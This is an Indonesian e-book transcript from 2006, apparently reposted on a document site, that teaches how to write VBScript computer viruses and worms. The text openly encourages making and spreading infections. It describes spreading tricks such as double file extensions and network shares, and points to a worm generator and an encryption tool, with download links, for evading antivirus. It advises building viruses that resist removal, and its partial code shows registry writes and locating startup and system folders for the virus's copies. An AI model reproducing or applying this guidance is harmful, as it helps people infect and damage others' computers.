pemrograman virus menggunakan vbscript
Post on 24-May-2015
830 Views
Preview:
DESCRIPTION
TRANSCRIPT
Pemrograman Virus Menggunakan VBScript
Bimbingan Orang Tua BO
© 2006.
Oleh :
Wahyu Primadi, S.Kom, S.Met
i Wahyu Utilities.
Bimbingan Orang Tua BO
Editorial
Pemrograman Virus Menggunakan VBScript Copyright © 2006. Wahyu Utilities. All Rights Reserved.
No parts of this work may be reproduced in any form or by any means (graphic, electronic, or mechanical, including photocopying, recording, taping, or information storage and retrieval systems) without the written permission of the publisher. Products that are referred to in this document may be either trademarks and/or registered trademarks of the respective owners. The publisher and the author make no claim to these trademarks. While every precaution has been taken in the preparation of this document, the publisher and the author assume no responsibility for errors or omissions, or for damages resulting from the use of information contained in this document or from the use of programs and source code that may accompany it. In no event shall the publisher and the author be liable for any loss of profit or any other commercial damage caused or alleged to have been caused directly or indirectly by this document. Printed: June 2006 in Wahyu Utilities Laboratory of Sickness.
Special Thanks To : Bokin Gue [Lastrie, Amd], Komputer Gue [Lisa], Almarhum Kucing Gue [Manis], Kucing Gue [Orange], Semua Temen-Temen Residivis di STMIK Proactive Yogyakarta, Semua Temen-Temen di STMIK Sinar Nusantara Surakarta, Semua Temen-Temen di Bekasi, Semua Temen-Temen di Yogyakarta, Semua Temen-Temen di Surakarta – Solo, Semua Temen-Temen yang Pernah Gue Infeksi Komputernya, Semua Temen-Temen Nongkrong, Semua Temen-Temen Coding, dan Semua Mantan Cewek-Cewek Gue…
Author : Wahyu Primadi, S.Kom, S.Met Publisher : Wahyu Utilities Managing Editor : Wahyu Primadi, S.Kom, S.Met Technical Editor : Wahyu Primadi, S.Kom, S.Met Cover Designer : Wahyu Primadi, S.Kom, S.Met Website : http://www.wahyuprimadi.com Mobile Web : http://mobile.wahyuprimadi.com
i
Bimbingan Orang Tua BO
Tentang Penulis
Wahyu Primadi, S.Kom, S.Met,
adalah seorang anak muda yang bandel,
n’dablek dan penyayang kucing.
Menamatkan kuliah komputer jurusan
Sistem Informasi pada bulan Februari
2005. Semasa kuliah sering terlibat
beberapa aksi massa dan organisasi radikal yang kerap menjadi
pihak oposisi dan sering melakukan perlawanan-perlawanan
pada suatu keadaan dan keputusan yang merugikan dan
menindas rakyat banyak. Sering meneriakan “KUDETA”.
Beberapa kali terlibat kasus yang berakhir di Polsek Tangen-
Sragen, Polwil Solo, Poltabes Yogyakarta, dan bahkan pernah
berakhir di Koramil Tambun-Bekasi ☺.
Berkenalan dengan dunia komputer sejak tahun 2000 dan
bahasa pemrograman yang dikuasai adalah ASP (Active Server
Pages), PHP, VBScript, Java Script, Gambas (Linux), BASH
Scripting (Linux), Microsoft Visual Basic 6.0, Microsoft
Visual Basic .NET dan database yang pernah saya gunakan
adalah Microsoft Access Database, MySQL, Microsoft SQL
Server 2000, dan Microsoft SQL Server Desktop Engine.
Saya dapat dikontak melalui e-mail di :
• webmaster@wahyuprimadi.com
• admin@wahyuprimadi.com
• wprimadi@gmail.com
• wprimadi@yahoo.com
• wahyu@programmer.net
1
Kata Pengantar
Puji syukur saya panjatkan kepada ALLAH SWT yang telah
memberikan kekuatan dan niat “jahat” dalam menyusun e-book
ini hingga bisa hadir dihadapan pembaca yang mempunyai
pemikiran “menyimpang”.
E-book ini ditulis sebagai referensi terhadap pengguna
komputer yang memang belum memahami apa itu virus dan
bagaimana cara membuatnya. Terlepas dari permasalahan
tersebut, pada dasarnya e-book ini dibuat untuk mereka yang
sudah mengerti akan bahasa pemrograman dan konsep
pemrograman khususnya bahasa Visual Basic atau VBScript.
Dengan e-book ini diharapkan dapat dijadikan solusi
pembelajaran dan pengetahuan buat mereka yang tadinya tidak
mengerti apa itu virus komputer dan cara membuatnya menjadi
mengerti, serta diharapkan dapat mengubah cara pandang serta
paradigma berfikir dalam menyikapi virus komputer tersebut
dan tidak lagi menjadikan virus komputer sebagai momok yang
menakutkan namun menjadikannya “mainan” serta bahan
pembelajaran.
Ok, selamat membaca, mencoba dan membuat serta sebarkan
“firman-firman” kalian dalam virus ke seluruh umat.
Solo, 13 Agustus 2006
Penulis
Bimbingan Orang Tua BO
Wahyu Primadi, S.Kom, S.Met
2
BAB 1
Pengenalan VBScript dan Virus
Untuk dapat mengikuti dan memahami tutorial ini anda minimal sudah harus mengerti
bahasa Visual Basic (Visual Basic 6.0, VBScript, atau Visual Basic for Application) dan
memahami konsep pemrograman (dengan Visual Basic).
1.1 Pengertian VBScript
VBScript merupakan kepanjangan dari Visual Basic Script yang mana masih
merupakan bagian keluarga dari bahasa pemrograman Visual Basic. Lalu apakah
sebenarnya VBScript tersebut? Untuk menjawab pertanyaan tersebut ada baiknya
kita menyimak definisi dari VBScript menurut Microsoft berikut :
Microsoft® Visual Basic® Scripting Edition, a subset of the Microsoft® Visual
Basic® programming language, is a fast, portable, lightweight interpreter for use in
World Wide Web browsers and other applications that use Microsoft® ActiveX®
Controls, Automation servers, and Java applets.
Pada dasarnya VBScript merupakan sebuah bahasa pemrograman script (scripting
language) yang dijalankan oleh sebuah interpreter. Windows Scripting Host (WSH
– wscript.exe) adalah salah satu program yang berperan sebagai interpreter dari
VBScript yang bertugas menjalankan dan mengeksekusi script-script VBScript.
Script VBScript dapat “ditempelkan” pada sebuah halaman web atau menjadi
sebuah file yang independent (berdiri sendiri) yang biasanya memiliki ekstensi file
*.VBS. Seperti telah dijelaskan diatas, Windows Scripting Host merupakan
interpreter VBScript yang menjalankan script-script VBScript yang disimpan pada
file *.VBS tadi. Jadi, tanpa Windows Scripting Host, VBScript tidak akan dapat
berjalan. Penjelasan mengenai Windows Scripting Host akan dibahas terpisah pada
sub-bab selanjutnya.
3
1.2 Mengapa VBScript ?
VBScript dipilih karena kemudahan pemahaman bahasanya dan tingkat
flaksibilitasnya yang tinggi diatas platform sistem operasi Microsoft Windows.
VBScript merupakan scripting language yang dapat dijalankan / dieksekusi secara
langsung tanpa perlu melakukan kompilasi.
Disamping itu semua, VBScript dapat memanfaatkan semua fasilitas, sumber daya,
komponen dan objek yang terdapat pada sistem operasi Microsoft Windows.
Walaupun VBScript merupakan sebuah script namun dalam penggunaannya
VBScript dapat disisipi dengan file binary seperti file executable (*.EXE) ataupun
file gambar. Masih ingat virus-virus seperti VBS.LoveLetter, VBS.Redlof,
VBS.AnnaKournikova dan lainnya, kesemua virus tersebut ditulis menggunakan
bahasa scripting VBScript.
1.3 Definisi Virus
Karena tidak adanya pendefinisian yang baku mengenai virus komputer, penulis
akan mengacu pada pendefinisian virus menurut Fred Cohen, seorang pakar virus
komputer yang mendefinisikan virus komputer sebagai berikut :
"A COMPUTER VIRUS is a computer program that can infect other computer
programs by modifying them in such a way as to include a (possibly evolved) copy
of itself. Note that a program does not have to perform outright damage (such as
deleting or corrupting files) in order to to be called a "virus". However, Cohen uses
the terms within his definition (e.g. "program" and "modify") a bit differently from
the way most anti-virus researchers use them, and classifies as viruses some things
which most of us would not consider viruses."
Dari definisi tersebut dapat dikatakan bahwa virus komputer adalah sebuah program
komputer yang memiliki kemampuan menggandakan diri, menginfeksi file atau
program lain dengan dirinya sendiri atau karakter byte acak (random), mengganggu
4
kinerja dari sebuah sistem komputer, kehadirannya tidak disadari dan yang jelas
tidak diinginkan ☺.
Dari penjelasan diatas, penulis harap anda dapat menggambarkan sendiri tentang
apakah virus tersebut. Karena pemahaman tentang virus tersebut adalah sebuah
modal dasar untuk mempelajari, memahami, membuat, memprogram, dan
mencegah virus untuk menginfeksi komputer anda.
1.4 Windows Scripting Host
Windows Scripting Host adalah sebuah program yang berfungsi sebagai interpreter
dari VBScript dalam lingkungan sistem operasi Microsoft Windows. Secara default,
Windows Scripting Host akan ikut terinstall saat anda menginstall sistem operasi
Microsoft Windows atau menginstall browser Internet Explorer versi 5 keatas.
Anda dapat memeriksa apakah Windows Scripting Host sudah terinstall pada sistem
Windows anda dengan cara mengetikan perintah “wscript.exe” pada dialogbox run
melalui menu “Start > Run”.
Gambar 1.1: DialogBox Run
Jika setelah mengetikan perintah “wscript.exe” tersebut tampil dialog setting
Windows Scripting Host (lihat gambar 1.2) maka Windows Scripting Host telah
terdapat dan terinstall pada Windows anda. Sebenarnya Windows Scripting Host
memiliki dua buah file inti yaitu wscript.exe dan cscript.exe, dimana wscript.exe
digunakan untuk mengeksekusi script VBScript pada lingkungan Windows,
5
sedangkan cscript.exe dapat digunakan untuk melakukan eksekusi script VBScript
pada lingkungan DOS.
Gambar 1.2: DialogBox Setting Windows Scripting Host
1.5 Peralatan yang Dibutuhkan
Untuk membuat program dengan VBScript yang dalam pembahasan ini adalah
pemrograman virus, VBScript tidak membutuhkan peralatan atau tools yang aneh-
aneh atau rumit. Anda hanya perlu sebuah text editor, notepad pada windows
misalnya, untuk mulai menuliskan script-script VBScript anda.
Jika notepad dirasa kurang memenuhi kebutuhan anda, anda dapat menggunakan
sebuah editor yang memang dirancang khusus sebagai editor VBScript yaitu
Adersoft VbsEdit yang dapat di-download melalui
http://www.adersoft.com/vbsedit. program tersebut merupakan program shareware
yang tidak gratis tapi crack-nya tersedia di internet. Fenomena penampakan dari
editor ini dapat anda lihat pada gambar 1.3 berikut :
6
Gambar 1.3: Program Adersoft VbsEdit
Selain itu juga terdapat beberapa tool program untuk menunjang pembuatan virus
menggunakan VBScript yang penulis sebut sebagai “Tools Dari Neraka” yang dapat
digunakan untuk membuat virus dengan menggunakan bahasa VBScript dan
menghindari deteksi scan antivirus, akan tetapi sabar dulu ya. Tools tersebut akan
dibahas pada bab berikutnya.
1.6 Script “Hello World”
Sebelum melangkah kepembahasan selanjutnya kita akan mencoba membuat
sebuah script program sederhana. Adapun script program yang akan kita buat
adalah sebuah program yang memunculkan MessageBox “Hello World” dan contoh
scriptnya adalah sebagai berikut :
Dim strPesan
strPesan = "Hello World"
MsgBox strPesan, VBInformation, "Percobaan"
Tulis script program tersebut dengan menggunakan editor text misalnya notepad
dan simpan hasilnya dengan ekstensi file *.VBS, pada contoh ini file script bernama
“hello-world.vbs” sehingga memiliki icon file bergambar seperti huruf “S” dengan
warna biru kehijau-hijauan seperti pada gambar berikut :
7
Gambar 1.4: Icon File VBS
Pada tahap ini program sudah selesai dan yang perlu anda lakukan adalah
menjalankan file script program tersebut. Untuk menjalankan script tersebut hanya
cukup melakukan klik ganda (double click) pada file script tersebut di Windows
Explorer dan hasilnya akan menampilkan sebuah MessageBox seperti terlihat pada
gambar berikut :
Gambar 1.5: MessageBox “Hello World”
1.7 Teknologi Antivirus
Memang tidak bisa dipungkiri lagi, kendala yang sering timbul dalam membuat
virus adalah antivirus yang selalu dapat mendeteksi kehadiran sebuah virus bahkan
mungkin virus yang belum dikenalnya (belum terdaftar di-database antivirus
tersebut) dengan menggunakan teknologi Heuristic Scanning dan belum lagi
teknologi Script Blocking serta teknologi SandBox yang saat ini mulai ramai
dibicarakan.
Hal tersebut merupakan hambatan terbesar yang sering terjadi dalam membuat
virus. Namun jangan patah semangat dulu, seperti telah penulis katakan
sebelumnya, keadaan ini dapat diakali dengan menggunakan tool-tool khusus yang
penulis sebut dengan “Tools Dari Neraka” yang akan dibahas pada bab berikutnya.
8
BAB 2
Terminologi Virus
Pada bab sebelumnya telah disinggung mengenai definisi virus secara garis besar dan
pada bab ini akan dibahas mengenai terminologi virus, jenis-jenis virus, teknik-teknik
virus dan teknologi yang biasa digunakan virus dalam melancarkan aksinya.
2.1 Bagaimana Virus Menyebar ?
Pada dasarnya virus dapat menyebar dan memasuki atau menginfeksi sistem kita
dengan berbagai cara, metode dan media. Adapun media-media yang sering
dimanfaatkan untuk penyebaran virus adalah :
• Disket / Floppy Disk / CD / Flash Disk
Walaupun sekarang sudah jamannya internet (seperti kata Telkom : “Internet
mau datang… Pake sendal biar gak kesetrum”) namun masih banyak virus yang
berkeliaran (khususnya virus lokal, yang beredar di Indonesia) memanfaatkan
media ini terutama disket dan flash disk untuk menyebarkan dirinya sendiri dan
menginfeksi komputer lain.
• Internet
Semenjak internet populer dan digunakan oleh banyak orang, banyak pula virus
yang memanfaatkan media internet untuk menyebarkan dirinya. Seperti pada
pokok pembahasan kita kali ini “Pemrograman Virus Menggunakan VBScript”,
karena VBScript dapat ditempelkan berdampingan dengan HTML maka tidak
menutup kemungkinan jika anda dapat terinfeksi ketika sedang browsing di
internet dan membuka halaman web. Bukannya saya nakut-nakutin, akan tetapi
sebuah kelompok security lokal pernah ada yang membuat Generator Virus
(berbasis HTML) VBScript untuk ditempelkan pada halaman web (HTML).
9
Virus menyebar melalui email dengan memanfaatkan fasilitas attachment yang
terdapat pada email tersebut. Umumnya virus yang menyebar melalui email ini
bersifat executable (dapat dieksekusi langsung) seperti file *.EXE, *.COM,
*.VBS dan lainnya yang sejenis. Untuk mengelabuhi pengguna biasanya file
virus menggunakan nama file dengan ekstensi ganda seperti: “Foto-
Cewek.jpg.exe”.
• Network (Jaringan)
Seperti media lainnya, media jaringan pun tak luput dari target serangan virus.
Telah banyak pula virus yang memanfaatkan media jaringan dan umumnya
dengan media ini virus dapat dengan cepat “berkembang biak” pada setiap
komputer yang terhubung ke jaringan tersebut. Tekniknya adalah sebagai
berikut, virus menginfeksi satu komputer dalam sebuah jaringan dan membuat
folder pada komputer tersebut lalu meng-copy-kan dirinya kedalam folder
tersebut, kemudian virus akan mengeset folder tersebut sebagai folder share
yang dapat diakses dalam sebuah jaringan dengan nama folder yang
mengundang rasa penasaran orang untuk membukanya dan menjalankan file
virus didalamnya.
2.2 Jenis-Jenis Virus
Ada banyak sekali jenis virus yang beredar saat ini. Jenis-jenis virus ini dibedakan
berdasarkan atas karakteristik virus, tipe virus, metode infeksi yang digunakan,
ruang gerak virus, dan masih banyak lagi yang lainnya. Jenis-jenis virus tersebut
diantaranya adalah sebagai berikut :
• System Sector Virus
System sector virus atau yang biasa disebut dengan nama boot sector virus atau
virus boot sector adalah sebuah virus yang menginfeksi DOS boot sector atau
Master Boot Record (MBR – juga dikenal dengan nama Partition Sectors).
Virus boot sector menginfeksi boot sector dengan cara menuliskan dirinya
10
sendiri atau berupa perintah yang mengarak ke dirinya sendiri ke boot sector
dari suatu disk (seperti harddisk dan disket) yang mana secara otomatis akan
diakses oleh sistem saat disk tersebut diakses.
• Virus File
Virus ini biasanya berupa program executable dan biasanya juga akan
menginfeksi file-file executable seperti file-file dengan ekstensi *.EXE atau
*.COM dengan cara menuliskan dirinya sendiri pada bagian atas (header / BOF)
dari file yang akan diinfeksi, sehingga saat anda menjalankan file program
tersebut, virus akan berjalan lebih dulu dan setelah virus selesai menjalankan
aksinya barulah dia menjalankan program aslinya.
• Macro Virus
Virus macro adalah sebuah virus yang berbentuk script visual basic yang
biasanya disebut dengan script Visual Basic for Application (VBA). Virus ini
menginfeksi dan “menempel” pada dokumen Microsoft Word, Microsoft Excel,
dan dokumen Microsoft Office lainnya.
Target utama dari serangan virus ini adalah menginfeksi file “Normal.dot”
yang merupakan file template untuk aplikasi Microsoft Word, baru setelah
tujuan tersebut tercapai selanjutnya dia akan menginfeksi dokumen-dokumen
yang dibuka pada melalui template “Normal.dot” tadi. Jadi untuk
menghentikan aksi virus jenis ini dapat dilakukan dengan cara menghapus file
“Normal.dot” yang ditemukan dan setelah itu jalankan aplikasi Microsoft Word
yang secara otomatis akan membuat file “Normal.dot” yang baru dan bersih.
Namun file-file dokumen lainnya yang telah terinfeksi akan tetap terinfeksi.
• Companion Virus
Virus jenis ini dapat menginfeksi sebuah file *.EXE tanpa mengubah satu byte
pun pada file *.EXE tersebut. Kok bisa ??? mungkin anda bertanya-tanya
bagaimana caranya. Pada dasarnya virus ini hanya menumpang berjalan dengan
11
file *.EXE tersebut dengan cara membuat sebuah file *.COM dengan nama
yang sama dengan file *.EXE tersebut dan dalam folder yang sama pula.
Sebagai contoh, jika anda mempunyai sebuah file *.EXE bernama
“program.exe” maka virus tersebut akan membuat file dengan nama
“program.com” yang berada satu folder dengan file “program.exe” tersebut.
File “program.com” tersebut adalah virusnya.
Seperti diketahui bahwa DOS akan menjalankan file *.COM sebelum akhirnya
menjalankan file *.BAT lalu menjalankan file *.EXE dengan nama yang sama
yang berada dalam satu folder yang sama. Kira-kira begitu urutannya (itu juga
kalo saya tidak lupa ☺). Untuk menghapusnya tentu anda sudah tahu bukan? ya,
cukup hapus file *.COM yang memiliki nama yang sama dengan dengan file
*.EXE, namun hati-hati dalam menghapusnya karena belum tentu file *.COM
yang memiliki nama yang sama dengan file *.EXE adalah sebuah virus.
• Visual Basic Worm
He… he… he… inilah target pembelajaran kita ☺. Virus jenis ini biasa disebut
dengan nama Visual Basic Worm atau Visual Basic Script Worm atau VBScript
Worm. Disebut demikian karena dibuat dengan menggunakan bahasa Visual
Basic Script (VBS) yang biasanya berupa source code / script (kode sumber /
kode program) walaupun sering juga ada yang dalam bentuk terenkripsi
(tersandi).
Seperti telah dijelaskan dalam bab sebelumnya, bahwa Visual Basic Script atau
VBScript dijalankan dengan bantuan Windows Scripting Host sebagai
interpreter-nya. Virus jenis inilah yang akan kita bahasa dan pelajari dalam e-
book ini.
12
• Polymorphic Virus
Polymorphic virus adalah sebuah virus yang memiliki kemampuan untuk
mengubah struktur dirinya sendiri setiap kali melakukan infeksi. Virus jenis ini
sulit sekali untuk dideteksi dengan menggunakan metode scanning biasa dan
metode checksum karena setiap copy dari virus akan tampak berbeda dari copy
lainnya.
• Stealth Virus
Virus jenis ini dinamakan dengan nama pesawat tempur buatan amerika, yaitu
stealth. Virus ini dalam menjalankan aksinya akan mengambil alih fungsi-fungsi
sistem.
• Multipartite Virus
Virus jenis ini merupakan gabungan dari virus file dan virus system sector (boot
sector). Virus ini dapat menginfeksi file dan dapat juga menginfeksi system
sector.
2.3 Tools Dari Neraka
Di internet terdapat banyak sekali tool-tool yang dapat membantu kita dalam
membuat dan mempelajari virus, terutama virus VBScript. Beberapa diantaranya
adalah :
• VBSWG (Visual Basic Script Worm Generator)
Download URL : http://www.virii.com.ar
Download URL : http://www.kvirii.com.ar
Ukuran File : ± 118 Kb
• Kefi’s VBS Encryption Engine
Download URL : http://vx.netlux.org/~kefi
Ukuran File : ± 29 Kb
13
VBSWG merupakan sebuah Worm Generator yaitu sebuah program pembuat virus
(worm) VBScript. VBSWG dibuat dengan menggunakan Microsoft Visual Basic.
Karena dalam distribusinya tidak disertakan Microsoft Visual Basic RunTime
Library, maka anda perlu men-download file RunTime Visual Basic tersebut dari
http://www.microsoft.com atau dapat di-download juga dari website penulis di
http://www.wahyuprimadi.com/download/20012006214446_vb6rt.exe jika belum
memiliki.
Gambar 2.1: VBSWG (Visual Basic Script Worm Generator)
Sedangkan KVEE (Kefi’s VBS Encryption Engine) merupakan sebuah program
yang berguna untuk melakukan enkripsi (penyandian) script VBScript dengan
berbagai metode yang disediakan. Sampai saat tulisan ini ditulis (08 Juni 2006)
belum ada satu pun antivirus yang dapat mendeteksi virus VBScript yang dienkripsi
menggunakan KVEE. Program ini nantinya dapat digunakan sebagai salah satu
perlengkapan perang kita ☺.
14
Gambar 2.2: KVEE (Kefi’s VBS Encryption Engine)
Selain itu di internet masih banyak tersedia tool-tool yang berhubungan dengan
pembahasan kita kali ini. Namun untuk tool-tool yang lain tersebut anda harus
mencarinya sendiri di internet. Usaha dong… males banget sih…!!! ☺
2.4 PayLoad Virus
Payload virus disini dapat diartikan sebagai aksi yang akan dilakukan oleh virus.
Aksi tersebut dapat berupa aksi yang sederhana yaitu hanya menampilkan pesan
sampai aksi yang benar-berar parah dan merusak seperti menghapus file-file
dokumen pada komputer host.
Yang menentukan aksi dari virus tersebut tentunya adalah pembuatnya
(programmer-nya) dan biasanya aksi dari virus memiliki pemicu (trigger) untuk
menjalankan aksi tersebut saat pemicu tersebut terpicu (triggered). Pemicu tersebut
dapat berupa tanggal, waktu, event tertentu dan lain sebagainya. Contoh algoritma
penggunaan payload dan trigger yang sederhana adalah sebagai berikut, jika
tanggal sistem menunjukan tanggal satu maka tampilkan pesan dan setelah direspon
shutdown komputer.
15
BAB 3
Dasar Pemrograman Virus
Pada bab ini kita akan mulai melangkah ke inti permasalahan yaitu pemrograman virus
dengan menggunakan VBScript. Namun dalam bab ini baru akan dibahas dasar
pemrogramannya saja sedangkan untuk pemrograman virus tingkat lanjut akan dibahas
pada bab berikutnya. Seperti telah disebutkan sebelumnya, salah satu syarat untuk
memahami e-book ini adalah sudah mengerti bahasa pemrograman Visual Basic atau
VBScript. Jika anda belum mengerti bahasa tersebut belajar dulu baru mebaca bab ini ☺.
3.1 Metode yang Dimiliki Virus
Dalam setiap aksinya sebuah virus memiliki beberapa metode untuk melancarkan
setiap aksinya. Metode tersebut dapat berupa aksi untuk menggandakan diri, aksi
menyebar, aksi menulis ke registry, dan aksi-aksi yang lainnya.
Untuk dapat membuat virus yang sukses, sebagai programmer virus kita harus
benar-benar memperhitungkan apa yang akan dilakukan user. Maksudnya adalah
apa yang akan membuat user tertarik sehingga menjalankan virus kita dengan atau
tanpa sadar, apa yang akan dilakukan user ketika user tersebut sadar bahwa dia
terinfeksi, apa yang akan dilakukan user untuk menghapus virus dari sistemnya, dan
lain sebagainya.
Hal-hal seperti itulah yang perlu diperhatikan demi menjamin kelangsungan hidup
virus yang anda buat. Dengan memiliki pemikiran demikian diharapkan anda sudah
mempunyai tidakan pencegahan berupa sebuah algoritma dan logika yang tertanam
pada virus jika suatu ketika ada user yang sadar telah terinfeksi dan ingin
menghapus virus anda.
3.2 Baca Tulis Registry Windows
Membaca dan menulis ke sistem registry Windows merupakan hal yang sangat
penting dalam aktivitas virus saat menjalankan aksinya. Untuk itu sebelum
16
melangkah lebih jauh, terlebih dahulu akan diberikan contoh dan penjelasan tentang
bagaimana caranya membaca dan menulis ke registry Windows. Agar lebih mudah
berikut akan diberikan contoh programnya :
'Program Baca Tulis Registry
Dim Tanda
Dim ObjReg
Set ObjReg = CreateObject("WScript.Shell")
'Baca Dari Registry
Tanda = ObjReg.RegRead("HKLM\Software\VBS.Tweety\Infeksi")
'Tulis ke Registry
ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"
Pada script diatas berisi contoh program bagaimana membaca dan menulis ke
registry Windows. Berikut akan diberikan penjelasan script tersebut diatas baris-
perbaris :
• 'Program Baca Tulis Registry
Baris kode tersebut merupakan sebuah komentar. Dimana sebuah komentar
diawali dengan tanda kutip tunggal (') dan komentar tersebut tidak akan
diproses oleh interpreter (gak ngaruh ke program).
• Dim Tanda
Baris script tersebut merupakan deklarasi variabel dimana perintah “Dim”
merupakan perintah untuk pendeklarasian variabel dan perintah “Tanda” adalah
variabel yang ingin dideklarasikan.
• Dim ObjReg
Sama, Merupakan perintah untuk pendeklarasian variabel. “ObjReg” adalah
variabel yang ingin dideklarasikan.
17
• Set ObjReg = CreateObject("WScript.Shell")
Perintah tersebut berfungsi untuk mengeset (mengisi) variabel “ObjReg”
sebagai objek dari Windows Scripting Host Shell yang ditandai dengan perintah
“WScript.Shell”. Dengan demikian variabel “ObjReg” akan memiliki fungsi-
fungsi shell Windows Scripting Host didalamnya yang dapat anda gunakan yang
pada contoh script diatas adalah baca dan tulis ke registry Windows (RegRead
dan RegWrite).
• 'Baca Dari Registry
Baris tersebut merupakan komentar, terserah anda mau tulis kata-kata apa (tetep
gak ngaruh). Ingat komentar selalu diawali dengan tanda KUTIP TUNGGAL
('). Jadi jika ada perintah yang diawali dengan tanda kutip tungga berarti
perintah tersebut merupakan sebuah komentar dan tidak akan diproses.
• Tanda = ObjReg.RegRead("HKLM\Software\VBS.Tweety\Infeksi")
Perintah tersebut berfungsi untuk mengisi variabel “Tanda” dengan value dari
registry yang dipilih (HKLM\Software\VBS.Tweety\Infeksi) yang telah ada
sebelumnya, dimana “HKLM” merupakan salah satu Key Root pada registry.
Jika value registry tersebut belum ada pada registry maka akan menyebabkan
runtime-error dan program berhenti.
• 'Tulis ke Registry
Ini juga merupakan komentar.
• ObjReg.RegWrite "HKLM\Software\VBS.Tweety\Programmer", "Wahyu"
Fungsi tersebut berfungsi untuk menuliskan nilai value ke registry Window
yang pada contoh tersebut akan menuliskan value berupa “Wahyu” pada key
“HKLM\Software\VBS.Tweety\Programmer”. Dimana “HKLM” merupakan
salah satu Key Root registry.
18
Gambar 3.1: Registry Editor – Menulis ke Registry
Pada script diatas telah dijelaskan cara membaca dan menulis value pada registry,
namun yang belum dijelaskan adalah bahwa pada registry terdapat beberapa Root
Key dan pada contoh diatas hanya menggunakan satu Root Key yaitu HKLM
(HKEY_LOCAL_MACHINE). Berikut akan diberikan daftar Root Key yang
terdapat pada registry :
• HKCR : HKEY_CLASSES_ROOT
• HKCU : HKEY_CURRENT_USER
• HKLM : HKEY_LOCAL_MACHINE
• HKU : HKEY_USERS
• HKCC : HKEY_CURRENT_CONFIG
Gambar 3.2: Daftar Root Key pada Registry
Untuk penulisannya, anda dapat menuliskan singkatannya (misal: HKLM) atau
kepanjangannya (misal: HKEY_LOCAL_MACHINE). Namun untuk dua Root Key
19
terakhir terkadang anda harus menuliskan kepanjangannya karena biasanya akan
menyebabkan runtime-error pada program yang disebabkan sistem tidak mengenali
singkatan tersebut.
PERHATIAN…!!!
Bermain-main dengan registry rentan dengan bahaya. Sebelum mulai bermain dengan registry usahakan untuk mem-backup registry Windows anda agar jika terjadi sesuatu hal yang tidak diinginkan anda dapat me-restore-nya kembali. Karena jika terjadi kesalahan dapat menyebabkan sistem Windows menjadi error atau bahkan tidak dapat berjalan sama sekali…!!!
3.3 Mendapatkan Special Folder
Dalam pemrograman virus dengan VBScript fungsi Special Folder sering kali
digunakan. Kegunaan dari fungsi ini adalah untuk mendapatkan folder-folder
system Windows, seperti folder Windows, folder WindowsSystem, dan folder
WindowsTemp. Fungsi tersebut sering digunakan untuk melakukan peng-copy-an
atau pembuatan back-up file virus ke folder-folder system tersebut. Berikut adalah
contoh penggunaannya :
Dim Target
Dim FSO
Dim FolderLain
Set FSO = CreateObject("Scripting.FileSystemObject")
Set FolderLain = CreateObject("WScript.Shell")
'Windows Folder :
Target = FSO.GetSpecialFolder(0)
'Windows System Folder :
Target = FSO.GetSpecialFolder(1)
'Windows Temp Folder :
Target = FSO.GetSpecialFolder(2)
20
'Folder Desktop
Target = FolderLain.SpecialFolders("Desktop")
'Folder All Users Start Menu
Target = FolderLain.SpecialFolders("AllUsersStartMenu")
'Folder Start Menu Programs
Target = FolderLain.SpecialFolders("Programs")
'Folder My Documents
Target = FolderLain.SpecialFolders("MyDocuments")
'Folder StartUp Start Menu
Target = FolderLain.SpecialFolders("Startup")
'Folder All Users Programs Start Menu
Target = FolderLain.SpecialFolders("AllUsersPrograms")
'Folder All Users StartUp Start Menu
Target = FolderLain.SpecialFolders("AllUsersStartup")
'Folder Favorites
Target = FolderLain.SpecialFolders("Favorites")
'Folder AppData
Target = FolderLain.SpecialFolders("AppData")
'Folder Recent
Target = FolderLain.SpecialFolders("Recent")
'Alamat Path Script :
Target = WScript.ScriptFullName
Dimana penjelasan dari script tersebut adalah sebagai berikut :
21
• Dim Target
Baris script tersebut merupakan deklarasi variabel dimana variabel yang
dideklarasikan bernama “Target”.
• Dim FSO
Sama seperti baris sebelumnya, baris ini juga merupakan deklarasi variabel dan
variabel yang dideklarasikan bernama “FSO”.
• Dim FolderLain Juga sama seperti baris sebelumnya, baris ini merupakan deklarasi variabel dan
variabel yang dideklarasikan bernama “FolderLain”.
• Set FSO = CreateObject("Scripting.FileSystemObject")
Pada baris ini variabel “FSO” yang telah dideklarasikan sebelumnya diset atau
diisi sebagai objek “Scripting.FileSystemObject”.
• Set FolderLain = CreateObject("WScript.Shell") Pada beris ini variabel “FolderLain” yang telah dideklarasikan sebelumnya diset
atau diisi sebagai objek “WScript.Shell”.
• Target = FSO.GetSpecialFolder(0)
Baris ini mengisi variabel “Target” (yang sebelumnya telah dideklarasikan pada
baris pertama) dengan sebuah value berupa alamat path folder Windows.
Penulis menggunakan sistem operasi Microsoft Windows XP SP2 dan
menginstalnya ke folder “C:\Windows”, sehingga jika script tersebut dijalankan
pada komputer penulis maka variabel “Target” akan berisi “C:\Windows”.
• Target = FSO.GetSpecialFolder(1) Sama seperti baris sebelumnya, hanya saja perintah ini akan menghasilkan
alamat path dari folde system Windows. Jika script tersebut dijalankan pada
komputer penulis maka variabel “Target” akan berisi “C:\Windows\system32”.
• Target = FSO.GetSpecialFolder(2)
Masih sama seperti baris sebelumnya, hanya saja perintah ini akan
menghasilkan alamat path dari folder temp Windows. Jika script tersebut
dijalankan pada komputer penulis maka variabel “Target” akan berisi
“C:\DOCUME~1\WAHYUP~1\LOCALS~1\Temp” yang merupakan short
22
filename dari “C:\Documents and Settings\Wahyu Primadi\Local
Settings\Temp”.
• Target = FolderLain.SpecialFolders("Desktop") Perintah pada baris ini akan menghasilkan alamat path folder “Desktop”. Jika
script tersebut dijalankan variabel “Target” akan berisi alamat path folder
“Desktop”.
• Target = FolderLain.SpecialFolders("AllUsersStartMenu")
Perintah pada baris ini akan menghasilkan alamat path folder “Start Menu”
untuk seluruh user (All Users).
• Target = FolderLain.SpecialFolders("Programs") Baris perintah ini akan menghasilkan alamat path folder “Programs” pada Start
Menu untuk user yang sedang aktif (Current User).
• Target = FolderLain.SpecialFolders("MyDocuments")
Baris perintah ini akan menghasilkan alamat path folder “My Documents” dari
user yang sedang aktif (Current User).
• Target = FolderLain.SpecialFolders("Startup") Perintah ini akan menghasilkan alamat path folder “Startup” pada Start Menu
dari user yang sedang aktif (Current User).
• Target = FolderLain.SpecialFolders("AllUsersPrograms")
Perintah ini akan menghasilkan alamat path folder “Programs” pada Start
Menu untuk seluruh user (All Users).
• Target = FolderLain.SpecialFolders("AllUsersStartup") Baris perintah ini akan menghasilkan alamat path folder “Startup” pada Start
Menu untuk seluruh user (All Users).
• Target = FolderLain.SpecialFolders("Favorites")
